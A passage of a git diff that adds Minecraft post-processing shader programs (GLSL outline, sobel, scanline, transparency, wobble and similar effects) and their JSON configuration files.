+1,18 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "sobel", + "fragment": "outline", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/outline_combine.fsh b/src/assets/minecraft/shaders/program/outline_combine.fsh new file mode 100644 index 00000000..bca7f309 --- /dev/null +++ b/src/assets/minecraft/shaders/program/outline_combine.fsh @@ -0,0 +1,13 @@ +#version 110 + +uniform sampler2D DiffuseSampler; +uniform sampler2D OutlineSampler; + +varying vec2 texCoord; +varying vec2 oneTexel; + +void main(){ + vec4 diffuseTexel = texture2D(DiffuseSampler, texCoord); + vec4 outlineTexel = texture2D(OutlineSampler, texCoord); + gl_FragColor = vec4(diffuseTexel.rgb + diffuseTexel.rgb * outlineTexel.rgb * vec3(0.75), 1.0); +} diff --git a/src/assets/minecraft/shaders/program/outline_combine.json b/src/assets/minecraft/shaders/program/outline_combine.json new file mode 100644 index 00000000..d52f4a3d --- /dev/null +++ b/src/assets/minecraft/shaders/program/outline_combine.json @@ -0,0 +1,19 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "sobel", + "fragment": "outline_combine", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" }, + { "name": "OutlineSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/outline_soft.fsh b/src/assets/minecraft/shaders/program/outline_soft.fsh new file mode 100644 index 00000000..04f1ead9 --- /dev/null +++ b/src/assets/minecraft/shaders/program/outline_soft.fsh @@ -0,0 +1,46 @@ +#version 110 + +uniform sampler2D DiffuseSampler; + +varying vec2 texCoord; +varying vec2 oneTexel; + +uniform float LumaRamp; +uniform float LumaLevel; + +void main(){ + vec4 center = texture2D(DiffuseSampler, texCoord); + vec4 up = texture2D(DiffuseSampler, texCoord + vec2( 0.0, -oneTexel.y)); + vec4 up2 = texture2D(DiffuseSampler, texCoord + vec2( 0.0, -oneTexel.y) * 2.0); + vec4 down = texture2D(DiffuseSampler, texCoord + vec2( oneTexel.x, 0.0)); + vec4 down2 = texture2D(DiffuseSampler, texCoord + vec2( oneTexel.x, 0.0) * 2.0); + vec4 left = texture2D(DiffuseSampler, texCoord + vec2(-oneTexel.x, 0.0)); + vec4 left2 = texture2D(DiffuseSampler, texCoord + vec2(-oneTexel.x, 0.0) * 2.0); + vec4 right = texture2D(DiffuseSampler, texCoord + vec2( 0.0, oneTexel.y)); + vec4 right2 = texture2D(DiffuseSampler, texCoord + vec2( 0.0, oneTexel.y) * 2.0); + vec4 uDiff = abs(center - up); + vec4 dDiff = abs(center - down); + vec4 lDiff = abs(center - left); + vec4 rDiff = abs(center - right); + vec4 u2Diff = abs(center - up2); + vec4 d2Diff = abs(center - down2); + vec4 l2Diff = abs(center - left2); + vec4 r2Diff = abs(center - right2); + vec4 sum = uDiff + dDiff + lDiff + rDiff + u2Diff + d2Diff + l2Diff + r2Diff; + vec4 gray = vec4(0.3, 0.59, 0.11, 0.0); + float sumLuma = 1.0 - dot(clamp(sum, 0.0, 1.0), gray); + + // Get luminance of center pixel and adjust + float centerLuma = dot(center + (center - pow(center, vec4(LumaRamp))), gray); + + // Quantize the luma value + centerLuma = centerLuma - fract(centerLuma * LumaLevel) / LumaLevel; + + // Re-scale to full range + centerLuma = centerLuma * (LumaLevel / (LumaLevel - 1.0)); + + // Blend with outline + centerLuma = centerLuma * sumLuma; + + gl_FragColor = vec4(centerLuma, centerLuma, centerLuma, 1.0); +} diff --git a/src/assets/minecraft/shaders/program/outline_soft.json b/src/assets/minecraft/shaders/program/outline_soft.json new file mode 100644 index 00000000..c58bb5d9 --- /dev/null +++ b/src/assets/minecraft/shaders/program/outline_soft.json @@ -0,0 +1,20 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "sobel", + "fragment": "outline_soft", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "LumaRamp", "type": "float", "count": 1, "values": [ 16.0 ] }, + { "name": "LumaLevel", "type": "float", "count": 1, "values": [ 4.0 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/outline_watercolor.fsh b/src/assets/minecraft/shaders/program/outline_watercolor.fsh new file mode 100644 index 00000000..6a26de7f --- /dev/null +++ b/src/assets/minecraft/shaders/program/outline_watercolor.fsh @@ -0,0 +1,41 @@ +#version 110 + +uniform sampler2D DiffuseSampler; + +varying vec2 texCoord; +varying vec2 oneTexel; + +uniform float LumaRamp; + +void main(){ + vec4 center = texture2D(DiffuseSampler, texCoord); + vec4 up = texture2D(DiffuseSampler, texCoord + vec2( 0.0, -oneTexel.y)); + vec4 up2 = texture2D(DiffuseSampler, texCoord + vec2( 0.0, -oneTexel.y) * 2.0); + vec4 down = texture2D(DiffuseSampler, texCoord + vec2( oneTexel.x, 0.0)); + vec4 down2 = texture2D(DiffuseSampler, texCoord + vec2( oneTexel.x, 0.0) * 2.0); + vec4 left = texture2D(DiffuseSampler, texCoord + vec2(-oneTexel.x, 0.0)); + vec4 left2 = texture2D(DiffuseSampler, texCoord + vec2(-oneTexel.x, 0.0) * 2.0); + vec4 right = texture2D(DiffuseSampler, texCoord + vec2( 0.0, oneTexel.y)); + vec4 right2 = texture2D(DiffuseSampler, texCoord + vec2( 0.0, oneTexel.y) * 2.0); + vec4 ul = texture2D(DiffuseSampler, texCoord + vec2(-oneTexel.x, -oneTexel.y)); + vec4 ur = texture2D(DiffuseSampler, texCoord + vec2( oneTexel.x, -oneTexel.y)); + vec4 bl = texture2D(DiffuseSampler, texCoord + vec2(-oneTexel.x, oneTexel.y)); + vec4 br = texture2D(DiffuseSampler, texCoord + vec2( oneTexel.x, oneTexel.y)); + vec4 gray = vec4(0.3, 0.59, 0.11, 0.0); + float uDiff = dot(abs(center - up), gray); + float dDiff = dot(abs(center - down), gray); + float lDiff = dot(abs(center - left), gray); + float rDiff = dot(abs(center - right), gray); + float u2Diff = dot(abs(center - up2), gray); + float d2Diff = dot(abs(center - down2), gray); + float l2Diff = dot(abs(center - left2), gray); + float r2Diff = dot(abs(center - right2), gray); + float ulDiff = dot(abs(center - ul), gray); + float urDiff = dot(abs(center - ur), gray); + float blDiff = dot(abs(center - bl), gray); + float brDiff = dot(abs(center - br), gray); + float sum = uDiff + dDiff + lDiff + rDiff + u2Diff + d2Diff + l2Diff + r2Diff + ulDiff + urDiff + blDiff + brDiff; + float sumLuma = clamp(sum, 0.0, 1.0); + + gl_FragColor = vec4(sumLuma, sumLuma, sumLuma, 1.0); +} diff --git a/src/assets/minecraft/shaders/program/outline_watercolor.json b/src/assets/minecraft/shaders/program/outline_watercolor.json new file mode 100644 index 00000000..29543528 --- /dev/null +++ b/src/assets/minecraft/shaders/program/outline_watercolor.json @@ -0,0 +1,19 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "sobel", + "fragment": "outline_watercolor", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "LumaRamp", "type": "float", "count": 1, "values": [ 16.0 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/overlay.fsh b/src/assets/minecraft/shaders/program/overlay.fsh new file mode 100644 index 00000000..9fcb546e --- /dev/null +++ b/src/assets/minecraft/shaders/program/overlay.fsh @@ -0,0 +1,27 @@ +#version 110 + +uniform sampler2D DiffuseSampler; +uniform sampler2D OverlaySampler; + +uniform vec2 InSize; + +varying vec2 texCoord; + +uniform float MosaicSize; +uniform vec3 RedMatrix; +uniform vec3 GreenMatrix; +uniform vec3 BlueMatrix; + +void main(){ + vec2 mosaicInSize = InSize / MosaicSize; + vec2 fractPix = fract(texCoord * mosaicInSize) / mosaicInSize; + + vec4 baseTexel = texture2D(DiffuseSampler, texCoord - fractPix); + float red = dot(baseTexel.rgb, RedMatrix); + float green = dot(baseTexel.rgb, GreenMatrix); + float blue = dot(baseTexel.rgb, BlueMatrix); + + vec4 overlayTexel = texture2D(OverlaySampler, vec2(texCoord.x, 1.0 - texCoord.y)); + overlayTexel.a = 1.0; + gl_FragColor = mix(vec4(red, green, blue, 1.0), overlayTexel, overlayTexel.a); +} diff --git a/src/assets/minecraft/shaders/program/overlay.json b/src/assets/minecraft/shaders/program/overlay.json new file mode 100644 index 00000000..ceb8d0fc --- /dev/null +++ b/src/assets/minecraft/shaders/program/overlay.json @@ -0,0 +1,23 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "blit", + "fragment": "overlay", + "attributes": [ "Position" ], + "samplers": [ + { "name": "OverlaySampler" }, + { "name": "DiffuseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "MosaicSize", "type": "float", "count": 1, "values": [ 1.0 ] }, + { "name": "RedMatrix", "type": "float", "count": 3, "values": [ 1.0, 0.0, 0.0 ] }, + { "name": "GreenMatrix", "type": "float", "count": 3, "values": [ 0.0, 1.0, 1.0 ] }, + { "name": "BlueMatrix", "type": "float", "count": 3, "values": [ 0.0, 0.0, 1.0 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/phosphor.fsh b/src/assets/minecraft/shaders/program/phosphor.fsh new file mode 100644 index 00000000..ffa4f8e7 --- /dev/null +++ b/src/assets/minecraft/shaders/program/phosphor.fsh @@ -0,0 +1,18 @@ +#version 110 + +uniform sampler2D DiffuseSampler; +uniform sampler2D PrevSampler; + +varying vec2 texCoord; +varying vec2 oneTexel; + +uniform vec2 InSize; + +uniform vec3 Phosphor; + +void main() { + vec4 CurrTexel = texture2D(DiffuseSampler, texCoord); + vec4 PrevTexel = texture2D(PrevSampler, texCoord); + + gl_FragColor = vec4(max(PrevTexel.rgb * Phosphor, CurrTexel.rgb), 1.0); +} diff --git a/src/assets/minecraft/shaders/program/phosphor.json b/src/assets/minecraft/shaders/program/phosphor.json new file mode 100644 index 00000000..c3a01f2d --- /dev/null +++ b/src/assets/minecraft/shaders/program/phosphor.json @@ -0,0 +1,20 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "sobel", + "fragment": "phosphor", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" }, + { "name": "PrevSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "Phosphor", "type": "float", "count": 3, "values": [ 0.3, 0.3, 0.3 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/rotscale.vsh b/src/assets/minecraft/shaders/program/rotscale.vsh new file mode 100644 index 00000000..cd46fff6 --- /dev/null +++ b/src/assets/minecraft/shaders/program/rotscale.vsh @@ -0,0 +1,30 @@ +#version 110 + +attribute vec4 Position; + +uniform mat4 ProjMat; +uniform vec2 InSize; +uniform vec2 OutSize; + +uniform vec2 InScale; +uniform vec2 InOffset; +uniform float InRotation; +uniform float Time; + +varying vec2 texCoord; +varying vec2 scaledCoord; + +void main(){ + vec4 outPos = ProjMat * vec4(Position.xy, 0.0, 1.0); + gl_Position = vec4(outPos.xy, 0.2, 1.0); + + texCoord = Position.xy / OutSize; + + float Deg2Rad = 0.0174532925; + float InRadians = InRotation * Deg2Rad; + float Cosine = cos(InRadians); + float Sine = sin(InRadians); + float RotU = texCoord.x * Cosine - texCoord.y * Sine; + float RotV = texCoord.y * Cosine + texCoord.x * Sine; + scaledCoord = vec2(RotU, RotV) * InScale + InOffset; +} diff --git a/src/assets/minecraft/shaders/program/scan_pincushion.fsh b/src/assets/minecraft/shaders/program/scan_pincushion.fsh new file mode 100644 index 00000000..9a18381c --- /dev/null +++ b/src/assets/minecraft/shaders/program/scan_pincushion.fsh @@ -0,0 +1,64 @@ +#version 110 + +uniform sampler2D DiffuseSampler; + +varying vec2 texCoord; +varying vec2 oneTexel; + +uniform vec2 InSize; + +const vec4 Zero = vec4(0.0); +const vec4 Half = vec4(0.5); +const vec4 One = vec4(1.0); +const vec4 Two = vec4(2.0); + +const float Pi = 3.1415926535; +const float PincushionAmount = 0.02; +const float CurvatureAmount = 0.02; +const float ScanlineAmount = 0.8; +const float ScanlineScale = 1.0; +const float ScanlineHeight = 1.0; +const float ScanlineBrightScale = 1.0; +const float ScanlineBrightOffset = 0.0; +const float ScanlineOffset = 0.0; +const vec3 Floor = vec3(0.05, 0.05, 0.05); +const vec3 Power = vec3(0.8, 0.8, 0.8); + +void main() { + vec4 InTexel = texture2D(DiffuseSampler, texCoord); + + vec2 PinUnitCoord = texCoord * Two.xy - One.xy; + float PincushionR2 = pow(length(PinUnitCoord), 2.0); + vec2 PincushionCurve = PinUnitCoord * PincushionAmount * PincushionR2; + vec2 ScanCoord = texCoord; + + ScanCoord *= One.xy - PincushionAmount * 0.2; + ScanCoord += PincushionAmount * 0.1; + ScanCoord += PincushionCurve; + + vec2 CurvatureClipCurve = PinUnitCoord * CurvatureAmount * PincushionR2; + vec2 ScreenClipCoord = texCoord; + ScreenClipCoord -= Half.xy; + ScreenClipCoord *= One.xy - CurvatureAmount * 0.2; + ScreenClipCoord += Half.xy; + ScreenClipCoord += CurvatureClipCurve; + + // -- Alpha Clipping -- + if (ScanCoord.x < 0.0) discard; + if (ScanCoord.y < 0.0) discard; + if (ScanCoord.x > 1.0) discard; + if (ScanCoord.y > 1.0) discard; + + // -- Scanline Simulation -- + float InnerSine = ScanCoord.y * InSize.y * ScanlineScale * 0.25; + float ScanBrightMod = sin(InnerSine * Pi + ScanlineOffset * InSize.y * 0.25); + float ScanBrightness = mix(1.0, (pow(ScanBrightMod * ScanBrightMod, ScanlineHeight) * ScanlineBrightScale + 1.0) * 0.5, ScanlineAmount); + vec3 ScanlineTexel = InTexel.rgb * ScanBrightness; + + // -- Color Compression (increasing the floor of the signal without affecting the ceiling) -- + ScanlineTexel = Floor + (One.xyz - Floor) * ScanlineTexel; + + ScanlineTexel.rgb = pow(ScanlineTexel.rgb, Power); + + gl_FragColor = vec4(ScanlineTexel.rgb, 1.0); +} diff --git a/src/assets/minecraft/shaders/program/scan_pincushion.json b/src/assets/minecraft/shaders/program/scan_pincushion.json new file mode 100644 index 00000000..9c7f9a3d --- /dev/null +++ b/src/assets/minecraft/shaders/program/scan_pincushion.json @@ -0,0 +1,18 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "sobel", + "fragment": "scan_pincushion", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/screenquad.vsh b/src/assets/minecraft/shaders/program/screenquad.vsh new file mode 100644 index 00000000..66c69d0f --- /dev/null +++ b/src/assets/minecraft/shaders/program/screenquad.vsh @@ -0,0 +1,14 @@ +#version 110 + +attribute vec4 Position; + +uniform mat4 ProjMat; +uniform vec2 OutSize; + +varying vec2 texCoord; + +void main() { + vec4 outPos = ProjMat * vec4(Position.xy, 0.0, 1.0); + gl_Position = vec4(outPos.xy, 0.2, 1.0); + texCoord = Position.xy / OutSize; +} diff --git a/src/assets/minecraft/shaders/program/sobel.fsh b/src/assets/minecraft/shaders/program/sobel.fsh new file mode 100644 index 00000000..e784e59b --- /dev/null +++ b/src/assets/minecraft/shaders/program/sobel.fsh @@ -0,0 +1,20 @@ +#version 110 + +uniform sampler2D DiffuseSampler; + +varying vec2 texCoord; +varying vec2 oneTexel; + +void main(){ + vec4 center = texture2D(DiffuseSampler, texCoord); + vec4 left = texture2D(DiffuseSampler, texCoord - vec2(oneTexel.x, 0.0)); + vec4 right = texture2D(DiffuseSampler, texCoord + vec2(oneTexel.x, 0.0)); + vec4 up = texture2D(DiffuseSampler, texCoord - vec2(0.0, oneTexel.y)); + vec4 down = texture2D(DiffuseSampler, texCoord + vec2(0.0, oneTexel.y)); + vec4 leftDiff = center - left; + vec4 rightDiff = center - right; + vec4 upDiff = center - up; + vec4 downDiff = center - down; + vec4 total = clamp(leftDiff + rightDiff + upDiff + downDiff, 0.0, 1.0); + gl_FragColor = vec4(total.rgb, 1.0); +} diff --git a/src/assets/minecraft/shaders/program/sobel.json b/src/assets/minecraft/shaders/program/sobel.json new file mode 100644 index 00000000..dc2fc17b --- /dev/null +++ b/src/assets/minecraft/shaders/program/sobel.json @@ -0,0 +1,18 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "sobel", + "fragment": "sobel", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/sobel.vsh b/src/assets/minecraft/shaders/program/sobel.vsh new file mode 100644 index 00000000..70957b02 --- /dev/null +++ b/src/assets/minecraft/shaders/program/sobel.vsh @@ -0,0 +1,19 @@ +#version 110 + +attribute vec4 Position; + +uniform mat4 ProjMat; +uniform vec2 InSize; +uniform vec2 OutSize; + +varying vec2 texCoord; +varying vec2 oneTexel; + +void main(){ + vec4 outPos = ProjMat * vec4(Position.xy, 0.0, 1.0); + gl_Position = vec4(outPos.xy, 0.2, 1.0); + + oneTexel = 1.0 / InSize; + + texCoord = Position.xy / OutSize; +} diff --git a/src/assets/minecraft/shaders/program/spider.json b/src/assets/minecraft/shaders/program/spider.json new file mode 100644 index 00000000..3a47688e --- /dev/null +++ b/src/assets/minecraft/shaders/program/spider.json @@ -0,0 +1,25 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "rotscale", + "fragment": "spiderclip", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" }, + { "name": "BlurSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "InScale", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "InOffset", "type": "float", "count": 2, "values": [ 0.0, 0.0 ] }, + { "name": "InRotation", "type": "float", "count": 1, "values": [ 0.0 ] }, + { "name": "Time", "type": "float", "count": 1, "values": [ 0.0 ] }, + { "name": "Scissor", "type": "float", "count": 4, "values": [ 0.0, 0.0, 1.0, 1.0 ] }, + { "name": "Vignette", "type": "float", "count": 4, "values": [ 0.0, 0.0, 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/spiderclip.fsh b/src/assets/minecraft/shaders/program/spiderclip.fsh new file mode 100644 index 00000000..487ab211 --- /dev/null +++ b/src/assets/minecraft/shaders/program/spiderclip.fsh @@ -0,0 +1,31 @@ +#version 110 + +uniform sampler2D DiffuseSampler; +uniform sampler2D BlurSampler; + +varying vec2 texCoord; +varying vec2 scaledCoord; + +uniform vec2 InSize; +uniform vec4 Scissor; +uniform vec4 Vignette; + +void main() { + vec4 ScaledTexel = texture2D(DiffuseSampler, scaledCoord); + vec4 BlurTexel = texture2D(BlurSampler, texCoord); + vec4 OutTexel = ScaledTexel; + + // -- Alpha Clipping -- + if (scaledCoord.x < Scissor.x) OutTexel = BlurTexel; + if (scaledCoord.y < Scissor.y) OutTexel = BlurTexel; + if (scaledCoord.x > Scissor.z) OutTexel = BlurTexel; + if (scaledCoord.y > Scissor.w) OutTexel = BlurTexel; + + clamp(scaledCoord, 0.0, 1.0); + + if (scaledCoord.x < Vignette.x) OutTexel = mix(BlurTexel, OutTexel, (Scissor.x - scaledCoord.x) / (Scissor.x - Vignette.x)); + if (scaledCoord.y < Vignette.y) OutTexel = mix(BlurTexel, OutTexel, (Scissor.y - scaledCoord.y) / (Scissor.y - Vignette.y)); + if (scaledCoord.x > Vignette.z) OutTexel = mix(BlurTexel, OutTexel, (Scissor.z - scaledCoord.x) / (Scissor.z - Vignette.z)); + if (scaledCoord.y > Vignette.w) OutTexel = mix(BlurTexel, OutTexel, (Scissor.w - scaledCoord.y) / (Scissor.w - Vignette.w)); + gl_FragColor = vec4(OutTexel.rgb, 1.0); +} diff --git a/src/assets/minecraft/shaders/program/transparency.fsh b/src/assets/minecraft/shaders/program/transparency.fsh new file mode 100644 index 00000000..6b1eb45e --- /dev/null +++ b/src/assets/minecraft/shaders/program/transparency.fsh @@ -0,0 +1,68 @@ +#version 110 + +uniform sampler2D DiffuseSampler; +uniform sampler2D DiffuseDepthSampler; +uniform sampler2D TranslucentSampler; +uniform sampler2D TranslucentDepthSampler; +uniform sampler2D ItemEntitySampler; +uniform sampler2D ItemEntityDepthSampler; +uniform sampler2D ParticlesSampler; +uniform sampler2D ParticlesDepthSampler; +uniform sampler2D WeatherSampler; +uniform sampler2D WeatherDepthSampler; +uniform sampler2D CloudsSampler; +uniform sampler2D CloudsDepthSampler; + +varying vec2 texCoord; + +#define NUM_LAYERS 6 + +vec4 color_layers[NUM_LAYERS]; +float depth_layers[NUM_LAYERS]; +int active_layers = 0; + +void try_insert( vec4 color, float depth ) { + if ( color.a == 0.0 ) { + return; + } + + color_layers[active_layers] = color; + depth_layers[active_layers] = depth; + + int jj = active_layers++; + int ii = jj - 1; + while ( jj > 0 && depth_layers[jj] > depth_layers[ii] ) { + float depthTemp = depth_layers[ii]; + depth_layers[ii] = depth_layers[jj]; + depth_layers[jj] = depthTemp; + + vec4 colorTemp = color_layers[ii]; + color_layers[ii] = color_layers[jj]; + color_layers[jj] = colorTemp; + + jj = ii--; + } +} + +vec3 blend( vec3 dst, vec4 src ) { + return ( dst * ( 1.0 - src.a ) ) + src.rgb; +} + +void main() { + color_layers[0] = vec4( texture2D( DiffuseSampler, texCoord ).rgb, 1.0 ); + depth_layers[0] = texture2D( DiffuseDepthSampler, texCoord ).r; + active_layers = 1; + + try_insert( texture2D( TranslucentSampler, texCoord ), texture2D( TranslucentDepthSampler, texCoord ).r ); + try_insert( texture2D( ItemEntitySampler, texCoord ), texture2D( ItemEntityDepthSampler, texCoord ).r ); + try_insert( texture2D( ParticlesSampler, texCoord ), texture2D( ParticlesDepthSampler, texCoord ).r ); + try_insert( texture2D( WeatherSampler, texCoord ), texture2D( WeatherDepthSampler, texCoord ).r ); + try_insert( texture2D( CloudsSampler, texCoord ), texture2D( CloudsDepthSampler, texCoord ).r ); + + vec3 texelAccum = color_layers[0].rgb; + for ( int ii = 1; ii < active_layers; ++ii ) { + texelAccum = blend( texelAccum, color_layers[ii] ); + } + + gl_FragColor = vec4( texelAccum.rgb, 1.0 ); +} diff --git a/src/assets/minecraft/shaders/program/transparency.json b/src/assets/minecraft/shaders/program/transparency.json new file mode 100644 index 00000000..66b9835d --- /dev/null +++ b/src/assets/minecraft/shaders/program/transparency.json @@ -0,0 +1,28 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "screenquad", + "fragment": "transparency", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" }, + { "name": "DiffuseDepthSampler" }, + { "name": "TranslucentSampler" }, + { "name": "TranslucentDepthSampler" }, + { "name": "ItemEntitySampler" }, + { "name": "ItemEntityDepthSampler" }, + { "name": "ParticlesSampler" }, + { "name": "ParticlesDepthSampler" }, + { "name": "CloudsSampler" }, + { "name": "CloudsDepthSampler" }, + { "name": "WeatherSampler" }, + { "name": "WeatherDepthSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/wobble.fsh b/src/assets/minecraft/shaders/program/wobble.fsh new file mode 100644 index 00000000..54cdacf1 --- /dev/null +++ b/src/assets/minecraft/shaders/program/wobble.fsh @@ -0,0 +1,58 @@ +#version 110 + +uniform sampler2D DiffuseSampler; + +varying vec2 texCoord; +varying vec2 oneTexel; + +uniform vec2 InSize; + +uniform float Time; +uniform vec2 Frequency; +uniform vec2 WobbleAmount; + +vec3 hue(float h) +{ + float r = abs(h * 6.0 - 3.0) - 1.0; + float g = 2.0 - abs(h * 6.0 - 2.0); + float b = 2.0 - abs(h * 6.0 - 4.0); + return clamp(vec3(r,g,b), 0.0, 1.0); +} + +vec3 HSVtoRGB(vec3 hsv) { + return ((hue(hsv.x) - 1.0) * hsv.y + 1.0) * hsv.z; +} + +vec3 RGBtoHSV(vec3 rgb) { + vec3 hsv = vec3(0.0); + hsv.z = max(rgb.r, max(rgb.g, rgb.b)); + float min = min(rgb.r, min(rgb.g, rgb.b)); + float c = hsv.z - min; + + if (c != 0.0) + { + hsv.y = c / hsv.z; + vec3 delta = (hsv.z - rgb) / c; + delta.rgb -= delta.brg; + delta.rg += vec2(2.0, 4.0); + if (rgb.r >= hsv.z) { + hsv.x = delta.b; + } else if (rgb.g >= hsv.z) { + hsv.x = delta.r; + } else { + hsv.x = delta.g; + } + hsv.x = fract(hsv.x / 6.0); + } + return hsv; +} + +void main() { + float xOffset = sin(texCoord.y * Frequency.x + Time * 3.1415926535 * 2.0) * WobbleAmount.x; + float yOffset = cos(texCoord.x * Frequency.y + Time * 3.1415926535 * 2.0) * WobbleAmount.y; + vec2 offset = vec2(xOffset, yOffset); + vec4 rgb = texture2D(DiffuseSampler, texCoord + offset); + vec3 hsv = RGBtoHSV(rgb.rgb); + hsv.x = fract(hsv.x + Time); + gl_FragColor = vec4(HSVtoRGB(hsv), 1.0); +} diff --git a/src/assets/minecraft/shaders/program/wobble.json b/src/assets/minecraft/shaders/program/wobble.json new file mode 100644 index 00000000..d8e9945a --- /dev/null +++ b/src/assets/minecraft/shaders/program/wobble.json @@ -0,0 +1,21 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "sobel", + "fragment": "wobble", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", 